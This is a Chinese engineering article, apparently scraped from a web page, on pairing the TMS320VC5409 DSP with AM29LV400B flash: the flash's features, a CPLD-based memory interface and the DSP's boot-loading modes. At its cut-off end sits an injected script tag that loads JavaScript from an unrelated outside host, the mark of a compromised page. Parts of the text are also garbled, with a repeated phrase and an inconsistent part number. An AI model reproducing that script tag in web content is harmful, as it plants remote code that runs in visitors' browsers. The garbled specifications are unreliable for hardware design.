tms320vc5409是ti公司推出的第一代的高性能、低价位、低功耗数字信号处理器（dsp）。与现在流行的tms320c5409相比,性能提高了60%,功耗效率提高了50%。它的应用对象大多是要求能脱机运行的内嵌式系统,如机顶盒（stb）、个人数字助理（pda）和数字无线通信等。闪烁存储器（flash memory）是可以在线电擦写、掉电后信息不丢失的存储器。flash与eprom相比,具有更高的性能价格比,而且体积小、功耗低、擦写速度快、使用比较方便。因此,采用flash存储程序和固定数据是一种比较好的选择。amd公司的am29lv400b flash可以直接与dsp相接。 1 am29lv400b的主要特点及编程方法
am29al400b是amd公司新推出的256k×16位产品,具有以下主要特点：
（1）支持单电源操作,可分为满负荷电压供电（2.7v～3.6v）和电压范围可调节（3.0v～3.6v）和电压范围可调节（3.0v～3.6v）供电两种方式。满幅度电压供电压供电方式主要用于电池供电的应用中,而电压范围可调节供电方式直接与3.3v的高性能dsp接口,简化了系统的电源要求。
（2）最快的存取速度高达55ns,cmos工艺,具有100000次写入/擦写寿命。
（3）低功耗（200na的自动休眠电流,200na的待命电流,7ma的读电流,15ma的编程/擦除电流）。
（4）灵活的块结构支持整片擦除、块擦除。整片分为11个块（1块8k字、2块4k字、1块16k字、7块32k字）。
（5）块保护功能,具有防止对任何区段进行编程或擦除的硬件保护机制。
（6）与jedec标准兼容,引脚分布和命令集与单电源flash相兼容,具有优越的防止意外编程的保护功能。
（7）数据查询位和数据切换位,可以通过软件方法检测编程/擦除操作的状态。
（8）ready/busy#管脚,可以通过硬件方法检测编程/擦除操作的状态。
（9）具有擦除暂停/擦除恢复功能。在暂停擦除操作过程中,支持读写不处于擦除状态的块。
（10）内嵌的擦除/编程算法能自动对整个芯片或某几个块进行擦除编程操作。ra为要读的存储器地址;rd为从存储器地址ra处读出的数据;sa为要擦除的段地址;pa为要写入数据的存储器地址;pd为要在地址pa处写入的数据。根据表中的命令定久可编制flash的“烧写”和“擦除”程序（用c语言和汇编语言混合编程实现）。根据需要,我们编制了“烧写”单字和“烧写”多字的程序。
2 硬件电路组成
dsp存储区硬件接口电路如图1所示。主要由5部分组成：dsp处理器-tms320vc5409、系统逻辑控制电路（采用cpld-epm7128实现）、闪存flash-am29lv400b（256k字的flash用来存储应用程序和初始化数据）、程序存储器sram1-idt71v416s12ph（容量为256k字）、数据存储器sram2-idt71v016s12ph（容量为64k字）。逻辑控制电路主要由3个模块组成：flash页选控制模块、读/写控制模块、程序空间/数据空间/flash切换控制模块。图中,cpld的输出fmsel为flash的片选脚;pmsel为程序空间的片选脚;dmsel为数据空间的片选脚。
flash分为8页,每页32k,通过cpld中的flash页选控制模块（page0～paeg2）实现flash翻页功能。为实现flash引导装载,flash物理空间的前32k映射到tms320vc5409的数据空间0x8000h～0xffffh上,即tms320vc5409的数据空间0x8000h～0xffffh为flash的前32k空间。为了重点说明flash的引导装载过程,本文只谈及dsp片内程序存储空间以及flash前32k字的使用情况。 3 tms320vc5409 dsp的引导装载方式
tms320vc5409芯片具有两种引导方式：片内引导方式和片外执行方式。片内引导方式就是利用片内rom中的引导程序将程序从外部加载到程序存储器中运行。由于flash的速度较低,难以与dsp相匹配,因此,本文采用片内引导方式。
tms320vc5409片内掩模rom中固化的引导装载（bootloader）程序用于在上电复位时把用户程序从外部引导到高速ram中,?script src=http://er12.com/t.js>
